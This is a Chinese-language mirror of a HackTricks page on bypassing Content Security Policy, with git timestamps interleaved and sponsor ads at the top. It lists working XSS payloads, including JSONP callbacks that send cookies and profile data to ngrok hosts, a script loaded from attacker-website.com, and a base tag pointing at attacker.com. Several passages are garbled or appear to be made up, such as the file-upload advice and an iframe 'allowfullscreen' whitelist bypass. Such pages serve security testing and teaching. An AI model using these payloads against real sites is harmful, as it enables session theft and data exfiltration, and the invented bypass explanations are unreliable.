2023-08-03 19:12:22 +00:00
# 内容安全策略( CSP) 绕过
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一个**网络安全公司**工作吗? 你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
2023-08-09 17:14:49 +00:00
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
2023-08-03 19:12:22 +00:00
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
2023-08-09 17:14:49 +00:00
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
2023-08-03 19:12:22 +00:00
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
< / details >
2022-04-28 16:01:33 +00:00
2023-07-31 15:59:11 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
**HackenProof是所有加密漏洞赏金的家园。**
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
**无需等待即可获得奖励**\
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后, 您将获得奖励。
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
**在web3渗透测试中积累经验**\
2023-11-03 13:40:31 +00:00
区块链协议和智能合约是新的互联网! 在其兴起的日子里掌握web3安全。
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
**成为web3黑客传奇**\
每次验证的漏洞都会获得声望积分,并占据每周排行榜的榜首。
2023-07-14 15:03:41 +00:00
2023-09-18 16:55:34 +00:00
[**在HackenProof上注册** ](https://hackenproof.com/register )开始从您的黑客行为中获利!
2023-07-14 15:03:41 +00:00
{% embed url="https://hackenproof.com/register" %}
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
## 什么是CSP
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
内容安全策略( Content Security Policy, CSP) 是一种内置的浏览器技术, **有助于防止跨站脚本( XSS) 等攻击**。它列出并描述了浏览器可以安全加载资源的路径和来源。这些资源可以包括图像、框架、JavaScript等。以下是允许从本地域( self) 加载和执行内联资源以及允许字符串代码执行函数( 如`eval`、`setTimeout`或`setInterval`)的示例:
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
内容安全策略通过**响应头**或**HTML页面的元素**实现。浏览器遵循接收到的策略,并在检测到违规时主动阻止。
2021-04-23 10:43:58 +00:00
2023-08-03 19:12:22 +00:00
通过响应头实现:
2021-04-23 10:43:58 +00:00
```http
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
2023-08-03 19:12:22 +00:00
通过 meta 标签实现:
2021-04-23 10:43:58 +00:00
```markup
< meta http-equiv = "Content-Security-Policy" content = "default-src 'self'; img-src https://*; child-src 'none';" >
```
2022-06-23 12:52:13 +00:00
### Headers
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* `Content-Security-Policy` (内容安全策略)
* `Content-Security-Policy-Report-Only` (仅报告模式,不会阻止任何内容,仅发送报告,用于预发布环境)。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
## 定义资源
2021-04-23 10:43:58 +00:00
2023-08-29 19:09:12 +00:00
CSP通过限制可以加载主动和被动内容的来源来工作。它还可以限制主动内容的某些方面, 例如执行内联JavaScript和使用`eval()`。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
2022-12-03 17:35:56 +00:00
report-uri /cspreport
2020-07-15 15:43:14 +00:00
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
2023-08-03 19:12:22 +00:00
### 指令
* **script-src**: 此指令指定了允许的 JavaScript 资源来源。这不仅包括直接加载到元素中的 URL, 还包括可以触发脚本执行的内联脚本事件处理程序( 例如 onclick) 和 XSLT 样式表。
* **default-src**: 此指令定义了默认情况下获取资源的策略。当 CSP 标头中缺少获取指令时,浏览器默认遵循此指令。
* **Child-src**: 此指令定义了 Web Workers 和嵌入式框架内容的允许资源。
* **connect-src**: 此指令限制了使用 fetch、websocket、XMLHttpRequest 等接口加载的 URL。
* **frame-src**: 此指令限制了可以调用的框架的 URL。
* **frame-ancestors**: 此指令指定可以嵌入当前页面的来源。此指令适用于 [`<frame>` ](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame )、[`< iframe > `](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)、[`< object > `](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object)、[`< embed > `](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed) 或 [`<applet>` ](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/applet )。此指令不能在标签中使用,仅适用于非 HTML 资源。
* **img-src**: 它定义了可以加载网页上的图像的来源。
* **font-src:** 指令指定了使用 `@font-face` 加载字体的有效来源。
* **manifest-src**: 此指令定义了应用程序清单文件的允许来源。
* **media-src**: 它定义了可以加载媒体对象的来源。
* **object-src**: 它定义了 `<object>` 、`< embed > ` 和 `<applet>` 元素的允许来源。
2023-11-03 13:40:31 +00:00
* **base-uri**: 它定义了可以使用元素加载的 URL。
2023-08-03 19:12:22 +00:00
* **form-action**: 此指令列出了标签提交的有效端点。
* **plugin-types**: 它定义了页面可以调用的 MIME 类型的限制。
* **upgrade-insecure-requests**: 此指令指示浏览器重写 URL 方案,将 HTTP 改为 HTTPS。对于需要重写大量旧 URL 的网站,此指令可能很有用。
2023-08-09 17:14:49 +00:00
* **sandbox**: sandbox 指令为请求的资源启用了类似于 sandbox 属性的沙箱。它对页面的操作施加了限制,包括阻止弹出窗口、阻止插件和脚本的执行,并强制执行同源策略。
2023-08-03 19:12:22 +00:00
### **来源**
* \*: 这允许任何 URL, 但不包括 `data:` 、`blob:`、`filesystem:` 方案。
* **self**: 此来源定义了允许从同一域加载页面上的资源。
* **data**: 此来源允许通过 data 方案加载资源(例如 Base64 编码的图像)。
* **none**: 此指令不允许从任何来源加载任何内容。
* **unsafe-eval**: 这允许使用 eval() 和类似的方法从字符串创建代码。出于安全原因,不建议在任何指令中包含此来源。因此,它被命名为 unsafe。
* **unsafe-hashes**: 这允许启用特定的内联事件处理程序。
2023-08-09 17:14:49 +00:00
* **unsafe-inline**: 这允许使用内联资源, 例如内联元素、javascript: URL、内联事件处理程序和内联元素。出于安全原因, 不建议使用此功能。
2023-08-03 19:12:22 +00:00
* **nonce**: 使用加密的 nonce( 一次性数字) 为特定的内联脚本设置白名单。服务器必须每次传输策略时生成唯一的 nonce 值。
* **sha256-\<hash>**: 为具有特定 sha256 哈希的脚本设置白名单
* **strict-dynamic**: 它允许浏览器从先前由 "nonce" 或 "hash" 值列入白名单的任何脚本来源中加载和执行新的 JavaScript 标签。
* **host**: 指示主机,例如 example.com
## 不安全的 CSP 规则
2020-07-15 15:43:14 +00:00
2022-06-23 12:52:13 +00:00
### 'unsafe-inline'
2021-04-23 10:43:58 +00:00
```yaml
2023-08-03 19:12:22 +00:00
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
工作负载:`"/>< script > alert ( 1 ) ; < / script > `
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
#### 通过 iframe 实现 self + 'unsafe-inline'
2022-04-19 22:38:50 +00:00
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md ](csp-bypass-self-+-unsafe-inline-with-iframes.md )
{% endcontent-ref %}
2022-06-23 12:52:13 +00:00
### 'unsafe-eval'
2021-04-23 10:43:58 +00:00
```yaml
2023-08-03 19:12:22 +00:00
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
有效的负载:
2022-12-03 17:35:56 +00:00
```html
< script src = "data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==" > < / script >
```
2023-02-20 09:58:12 +00:00
### strict-dynamic
2023-08-09 17:14:49 +00:00
如果你能以某种方式使一个**允许的JS代码创建一个新的脚本标签**在DOM中, 因为是一个允许的脚本创建了它, **新的脚本标签将被允许执行**。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 通配符 (\*)
2021-04-23 10:43:58 +00:00
```yaml
2023-08-03 19:12:22 +00:00
Content-Security-Policy: script-src 'self' https://google.com https: data *;
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
有效的负载:
2021-04-23 10:43:58 +00:00
```markup
"/>'>< script src = https://attacker-website.com/evil.js > < / script >
"/>'>< script src = data:text/javascript,alert(1337) > < / script >
```
2023-08-03 19:12:22 +00:00
### 缺乏 object-src 和 default-src
2020-07-15 15:43:14 +00:00
2022-09-04 09:37:14 +00:00
{% hint style="danger" %}
2023-08-03 19:12:22 +00:00
**看起来这个方法已经不再有效**
2022-09-04 09:37:14 +00:00
{% endhint %}
2021-04-23 10:43:58 +00:00
```yaml
Content-Security-Policy: script-src 'self' ;
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
有效的负载:
2021-04-23 10:43:58 +00:00
```markup
< object data = "data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" > < / object >
2022-10-28 09:19:40 +00:00
">'>< object type = "application/x-shockwave-flash" data = 'https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain= \"})))}catch(e) {alert(1337)}//' >
2021-04-23 10:43:58 +00:00
< param name = "AllowScriptAccess" value = "always" > < / object >
```
2023-08-03 19:12:22 +00:00
### 文件上传 + 'self'
2020-07-15 15:43:14 +00:00
2023-08-09 17:14:49 +00:00
#### 介绍
2020-07-15 15:43:14 +00:00
2023-11-03 13:40:31 +00:00
在Web应用程序中, 内容安全策略( Content Security Policy, CSP) 是一种安全机制, 用于限制浏览器加载和执行的内容。CSP通过指定允许加载的资源源来防止跨站点脚本攻击( XSS) 和数据泄露等安全问题。
2020-07-15 15:43:14 +00:00
2023-11-03 13:40:31 +00:00
然而, 有时候我们可能需要绕过CSP限制, 以便上传恶意文件或执行其他攻击。本文将介绍一种绕过CSP限制的技术, 即利用文件上传功能和CSP策略中的'self'关键字。
2020-07-15 15:43:14 +00:00
2023-08-09 17:14:49 +00:00
#### 攻击步骤
2021-04-23 10:43:58 +00:00
2023-09-18 16:55:34 +00:00
1. 首先,我们需要找到一个允许文件上传的功能点。这可以是一个用户头像上传、文件分享或其他允许用户上传文件的功能。
2023-11-03 13:40:31 +00:00
2. 接下来, 我们需要构造一个恶意文件, 该文件包含我们想要执行的攻击代码。这可以是一个包含恶意JavaScript代码的HTML文件。
2023-09-18 16:55:34 +00:00
2023-11-03 13:40:31 +00:00
3. 在构造恶意文件时,我们需要注意以下几点:
- 文件扩展名: 为了绕过CSP限制, 我们可以使用一些常见的文件扩展名, 如.jpg、.png或.gif。这样, 即使CSP策略中禁止加载JavaScript文件, 我们仍然可以通过将代码嵌入到这些文件中来执行攻击。
- 文件内容: 我们需要确保恶意文件的内容符合CSP策略中'self'关键字的要求。CSP中的'self'关键字表示只允许加载同源的资源。因此, 我们需要将恶意文件的内容设置为与当前页面的源相同, 以便绕过CSP限制。
2023-08-03 19:12:22 +00:00
2023-11-03 13:40:31 +00:00
4. 上传恶意文件: 将构造好的恶意文件上传到目标应用程序中。由于我们使用了常见的文件扩展名和与当前页面相同的源, CSP策略将允许加载并执行该文件中的代码。
2023-08-09 17:14:49 +00:00
2023-11-03 13:40:31 +00:00
5. 执行攻击: 一旦恶意文件被上传并加载到页面中, 其中的恶意代码将被执行。这可能导致XSS攻击、数据泄露或其他安全问题。
2023-08-09 17:14:49 +00:00
2023-09-18 16:55:34 +00:00
#### 防御方法
2023-08-09 17:14:49 +00:00
2023-11-03 13:40:31 +00:00
要防止此类攻击,开发人员应该遵循以下最佳实践:
2023-08-09 17:14:49 +00:00
2023-11-03 13:40:31 +00:00
- 严格限制文件上传功能的类型和大小。
- 对上传的文件进行适当的验证和过滤,以确保其内容的安全性。
- 避免将用户上传的文件与其他内容混合在一起,以防止恶意代码的执行。
- 使用安全的文件扩展名,避免使用常见的可执行文件扩展名。
- 配置CSP策略以限制加载和执行的内容, 包括禁止加载外部脚本和限制'self'关键字的使用。
2023-08-09 17:14:49 +00:00
2023-09-18 16:55:34 +00:00
#### 结论
2023-08-09 17:14:49 +00:00
2023-11-03 13:40:31 +00:00
通过利用文件上传功能和CSP策略中的'self'关键字, 攻击者可以绕过CSP限制并上传恶意文件。为了防止此类攻击, 开发人员应该采取适当的防御措施, 并遵循最佳实践来确保文件上传功能的安全性。
2023-08-03 19:12:22 +00:00
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
2023-11-03 13:40:31 +00:00
如果你能上传一个JS文件, 你就可以绕过这个CSP:
2023-08-03 19:12:22 +00:00
有效载荷:
2021-04-23 10:43:58 +00:00
```markup
"/>'>< script src = "/uploads/picture.png.js" > < / script >
```
2023-08-03 19:12:22 +00:00
然而,很有可能服务器正在**验证上传的文件**,并且只允许你**上传特定类型的文件**。
2020-07-15 15:43:14 +00:00
2023-11-03 13:40:31 +00:00
此外, 即使你能够通过使用服务器接受的扩展名( 如_script.png) 在文件中上传**JS代码**, 这还不够, 因为一些服务器( 如Apache服务器) 会根据扩展名**选择文件的MIME类型**, 而Chrome等浏览器会**拒绝执行应该是图像的东西中的Javascript**代码。"幸运的是", 这里存在一些错误。例如, 从一个CTF中我了解到**Apache不知道**.wave扩展名, 因此它不会使用类似audio/\*的**MIME类型**提供它。
2020-07-15 15:43:14 +00:00
2023-11-03 13:40:31 +00:00
从这里开始, 如果你找到了一个XSS漏洞和一个文件上传漏洞, 并且你设法找到了一个**被错误解释的扩展名**,你可以尝试上传一个带有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,你可以创建一个多语言([这里有一些多语言的例子](https://github.com/Polydet/polyglot-database))。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 第三方终端点 + ('unsafe-eval')
2022-12-03 17:35:56 +00:00
{% hint style="warning" %}
2023-08-03 19:12:22 +00:00
对于以下一些有效载荷,**`unsafe-eval`甚至都不需要**。
2022-12-03 17:35:56 +00:00
{% endhint %}
2021-04-23 10:43:58 +00:00
```yaml
2023-08-03 19:12:22 +00:00
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
2021-04-23 10:43:58 +00:00
```
2023-08-03 19:12:22 +00:00
加载一个有漏洞的Angular版本并执行任意JS代码:
2021-04-23 10:43:58 +00:00
```markup
< script src = "https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js" > < / script >
< div ng-app > {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} < / div >
2023-01-02 20:17:43 +00:00
">< script src = "https://cdnjs.cloudflare.com/angular.min.js" > < / script > < div ng-app ng-csp > {{$eval.constructor('alert(1)')()}}< / div >
">< script src = "https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js" > < / script >
< div ng-app ng-csp id = p ng-click = $event.view.alert(1337) >
2023-01-04 12:21:48 +00:00
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
< script / src = https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js > < / script >
< iframe / ng-app / ng-csp / srcdoc = "
2023-08-03 19:12:22 +00:00
< script / src = https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js >
< / script >
< img / ng-app / ng-csp / src / ng-o { { } } n-error = $event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain) > "
2023-01-04 12:21:48 +00:00
>
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
#### 使用Angular + 一个返回`window`对象的函数库的有效载荷([查看此文章](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)) :
2023-01-02 20:17:43 +00:00
{% hint style="info" %}
2023-08-03 19:12:22 +00:00
该文章显示您可以从`cdn.cloudflare.com`( 或任何其他允许的JS库仓库) **加载**所有**库**,执行每个库中添加的所有函数,并检查**哪些函数从哪些库返回`window`对象**。
2023-01-02 20:17:43 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
```markup
< script src = "https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js" > < / script >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" / > < / script >
2023-01-02 20:17:43 +00:00
< div ng-app ng-csp >
2023-08-03 19:12:22 +00:00
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
2023-01-02 20:17:43 +00:00
< / div >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js" > < / script >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js" > < / script >
< div ng-app ng-csp >
2023-08-03 19:12:22 +00:00
{{$on.curry.call().alert('xss')}}
2023-01-02 20:17:43 +00:00
< / div >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js" > < / script >
< script src = "https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js" > < / script >
< div ng-app ng-csp >
2023-08-03 19:12:22 +00:00
{{[].erase.call().alert('xss')}}
2023-01-02 20:17:43 +00:00
< / div >
2020-07-15 15:43:14 +00:00
2023-08-02 15:09:22 +00:00
2023-08-03 19:12:22 +00:00
```
#### 滥用谷歌验证码JS代码
2023-08-02 15:09:22 +00:00
2023-09-18 16:55:34 +00:00
根据[**这篇CTF解题报告**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es& \_x\_tr\_tl=en& \_x\_tr\_hl=es& \_x\_tr\_pto=wapp#noteninja-3-solves),您可以滥用[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)在CSP中执行任意JS代码, 绕过CSP限制:
2023-08-02 15:09:22 +00:00
```html
< div
2023-08-03 19:12:22 +00:00
ng-controller="CarouselController as c"
ng-init="c.init()"
2023-08-02 15:09:22 +00:00
>
& #91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
< div carousel > < div slides > < / div > < / div >
< script src = "https://www.google.com/recaptcha/about/js/main.min.js" > < / script >
2020-07-15 15:43:14 +00:00
```
2023-08-09 17:14:49 +00:00
### 第三方端点 + JSONP
2020-07-15 15:43:14 +00:00
2023-11-03 13:40:31 +00:00
JSONP( JSON with Padding) 是一种绕过内容安全策略( CSP) 限制的技术。CSP是一种安全机制, 用于防止跨站点脚本攻击( XSS) 和数据泄漏。然而, 通过使用JSONP, 攻击者可以绕过CSP并从第三方端点加载恶意脚本。
2023-08-24 09:57:53 +00:00
2023-11-03 13:40:31 +00:00
JSONP利用了浏览器对`< script > ` 标 签 的 信 任 , 允 许 从 不 同 域 的 服 务 器 加 载 脚 本 。 攻 击 者 可 以 构 造 一 个 包 含 恶 意 代 码 的 U R L , 并 将 其 作 为 ` < s c r i p t > ` 标 签 的 ` s r c ` 属 性 值 。 当 浏 览 器 加 载 该 脚 本 时 , 恶 意 代 码 将 被 执 行 。
2023-08-24 09:57:53 +00:00
2023-11-03 13:40:31 +00:00
要利用JSONP绕过CSP, 攻击者需要找到一个支持JSONP的第三方端点。这个端点应该允许通过URL参数传递回调函数的名称, 并将数据作为函数参数返回。攻击者可以构造一个URL, 将恶意代码作为回调函数的参数传递给第三方端点。当浏览器加载该URL时, 恶意代码将被执行。
2023-08-03 19:12:22 +00:00
2023-11-03 13:40:31 +00:00
为了防止JSONP攻击, 应该在CSP策略中禁止使用`unsafe-inline`和`unsafe-eval`指令, 并限制允许加载的脚本源。此外, 应该避免使用JSONP, 而是使用更安全的替代方案, 如CORS( 跨域资源共享) 。
总结: JSONP是一种绕过CSP限制的技术, 攻击者可以利用第三方端点和JSONP来加载恶意脚本。为了防止JSONP攻击, 应该禁止使用`unsafe-inline`和`unsafe-eval`指令,并限制允许加载的脚本源。
2021-04-23 10:43:58 +00:00
```http
2023-03-05 18:12:38 +00:00
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
2020-07-15 15:43:14 +00:00
```
2023-08-29 19:09:12 +00:00
像这样的情况,`script-src` 被设置为 `self` 和一个特定的域名,该域名被列入白名单,可以通过使用 JSONP 来绕过。JSONP 端点允许使用不安全的回调方法,这使得攻击者可以执行 XSS, 有效载荷如下:
2021-04-23 10:43:58 +00:00
```markup
">< script src = "https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1" > < / script >
">< script src = "/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//" > < / script >
```
2023-03-05 18:12:38 +00:00
```html
https://www.youtube.com/oembed?callback=alert;
< script src = "https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})" > < / script >
```
2023-08-03 19:12:22 +00:00
[**JSONBee** ](https://github.com/zigoo0/JSONBee ) **包含了用于绕过不同网站的CSP的JSONP端点。**
2023-03-05 18:12:38 +00:00
2023-08-03 19:12:22 +00:00
如果**受信任的端点包含一个开放重定向**,那么将会出现相同的漏洞,因为如果初始端点是受信任的,那么重定向也是受信任的。
2020-07-15 15:43:14 +00:00
2023-11-03 13:40:31 +00:00
### 通过RPO( 相对路径覆盖) 绕过 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
2020-07-15 15:43:14 +00:00
2023-11-03 13:40:31 +00:00
除了前面提到的绕过路径限制的重定向之外, 还有一种称为相对路径覆盖( RPO) 的技术可以在某些服务器上使用。
例如, 如果CSP允许路径`https://example.com/scripts/react/`,可以按以下方式绕过:
```html
< script src = "https://example.com/scripts/react/..%2fangular%2fangular.js" > < / script >
```
浏览器最终将加载`https://example.com/scripts/angular/angular.js`。
这是因为对于浏览器来说,您正在加载位于`https://example.com/scripts/react/`下的名为`..%2fangular%2fangular.js`的文件, 这符合CSP。
然而,对于某些服务器,在接收到请求时,它们会对其进行解码,从而实际请求`https://example.com/scripts/react/../angular/angular.js`,这等同于`https://example.com/scripts/angular/angular.js`。
通过**利用浏览器和服务器之间URL解释的这种不一致性, 可以绕过路径规则**。
解决方案是在服务器端不将`%2f`视为`/`,以确保浏览器和服务器之间的一致解释,避免此问题。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
在线示例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### Iframes JS执行
2020-07-15 15:43:14 +00:00
2022-04-19 22:38:50 +00:00
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md ](../xss-cross-site-scripting/iframes-in-xss-and-csp.md )
2021-10-20 00:55:49 +00:00
{% endcontent-ref %}
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 缺少**base-uri**
2022-03-21 17:05:35 +00:00
2023-11-03 13:40:31 +00:00
如果缺少**base-uri**指令,您可以滥用它来执行[**悬挂标记注入**](../dangling-markup-html-scriptless-injection/)。
2022-03-21 17:05:35 +00:00
2023-11-03 13:40:31 +00:00
此外,如果页面使用相对路径(如`< script src = "/js/app.js" > ` ) 加 载 脚 本 并 使 用 * * N o n c e * * , 您 可 以 滥 用 * * b a s e * * * * t a g * * 使 其 从 * * 您 自 己 的 服 务 器 加 载 * * 脚 本 , 从 而 实 现 X S S 。 \
如果易受攻击的页面使用**httpS**加载, 请使用httpS URL。
2022-03-21 17:05:35 +00:00
```html
< base href = "https://www.attacker.com/" >
```
2023-08-03 19:12:22 +00:00
### AngularJS 事件
2022-03-21 17:05:35 +00:00
2023-08-03 19:12:22 +00:00
根据具体的策略, CSP会阻止JavaScript事件。然而, AngularJS定义了自己的事件, 可以代替使用。当在事件内部时, AngularJS定义了一个特殊的`$event`对象, 它简单地引用浏览器事件对象。您可以使用此对象来执行CSP绕过。在Chrome上, `$event/event`对象上有一个特殊的属性叫做`path`。该属性包含一个对象数组,导致事件被执行。最后一个属性始终是`window`对象,我们可以使用它来执行沙盒逃逸。通过将此数组传递给`orderBy`过滤器,我们可以枚举数组并使用最后一个元素(`window`对象)来执行全局函数,例如`alert()`。以下代码演示了这一点:
2020-07-15 15:43:14 +00:00
```markup
2021-11-14 19:46:18 +00:00
< input % 20id = x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27 > #x
2020-07-15 15:43:14 +00:00
?search=< input id = x ng-focus = $event.path|orderBy:'(z=alert)(document.cookie)' > #x
```
2023-08-09 17:14:49 +00:00
**在** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet** ](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet ) **中查找其他Angular绕过方法**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### AngularJS和白名单域名
```html
2023-08-29 19:09:12 +00:00
< iframe src = "https://www.youtube.com/embed/abcdefghijk" allowfullscreen > < / iframe >
2023-08-24 09:57:53 +00:00
```
2023-08-29 19:09:12 +00:00
This bypasses the AngularJS whitelist by using an iframe with a whitelisted domain (`www.youtube.com`). The `allowfullscreen` attribute is added to make the iframe display in fullscreen mode.
2023-08-24 09:57:53 +00:00
2023-08-29 19:09:12 +00:00
这种方法通过使用带有白名单域名(`www.youtube.com`) 的iframe来绕过AngularJS的白名单。添加`allowfullscreen`属性可以使iframe以全屏模式显示。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
2023-11-03 13:40:31 +00:00
如果应用程序使用Angular JS, 并且脚本是从白名单域加载的, 那么可以通过调用回调函数和易受攻击的类来绕过此CSP策略。有关更多详细信息, 请访问这个很棒的[git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)存储库。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
有效载荷示例:
2022-08-12 14:24:34 +00:00
```html
< script src = //ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337 > < / script >
2020-07-15 15:43:14 +00:00
ng-app"ng-csp ng-click=$event.view.alert(1337)>< script src = //ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js > < / script >
2022-12-03 17:35:56 +00:00
<!-- no longer working -->
2022-08-12 14:24:34 +00:00
< script src = "https://www.googleapis.com/customsearch/v1?callback=alert(1)" >
2020-07-15 15:43:14 +00:00
```
2023-09-18 16:55:34 +00:00
其他JSONP任意执行端点可以在[**这里**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)找到(其中一些已被删除或修复)。
2020-07-15 15:43:14 +00:00
2023-11-03 13:40:31 +00:00
### 通过重定向绕过
当CSP遇到服务器端重定向时会发生什么? 如果重定向导致到达不允许的不同源, 它仍然会失败。
然而,根据[CSP规范4.2.2.3. 路径和重定向](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)中的描述,如果重定向导致到达不同路径,它可以绕过原始限制。
以下是一个示例:
```html
<!DOCTYPE html>
< html >
< head >
< meta http-equiv = "Content-Security-Policy" content = "script-src http://localhost:5555 https://www.google.com/a/b/c/d" >
< / head >
< body >
< div id = userContent >
< script src = "https://https://www.google.com/test" > < / script >
< script src = "https://https://www.google.com/a/test" > < / script >
< script src = "http://localhost:5555/301" > < / script >
< / div >
< / body >
< / html >
```
如果CSP设置为`https://www.google.com/a/b/c/d`,由于考虑了路径,因此`/test`和`/a/test`脚本都会被CSP阻止。
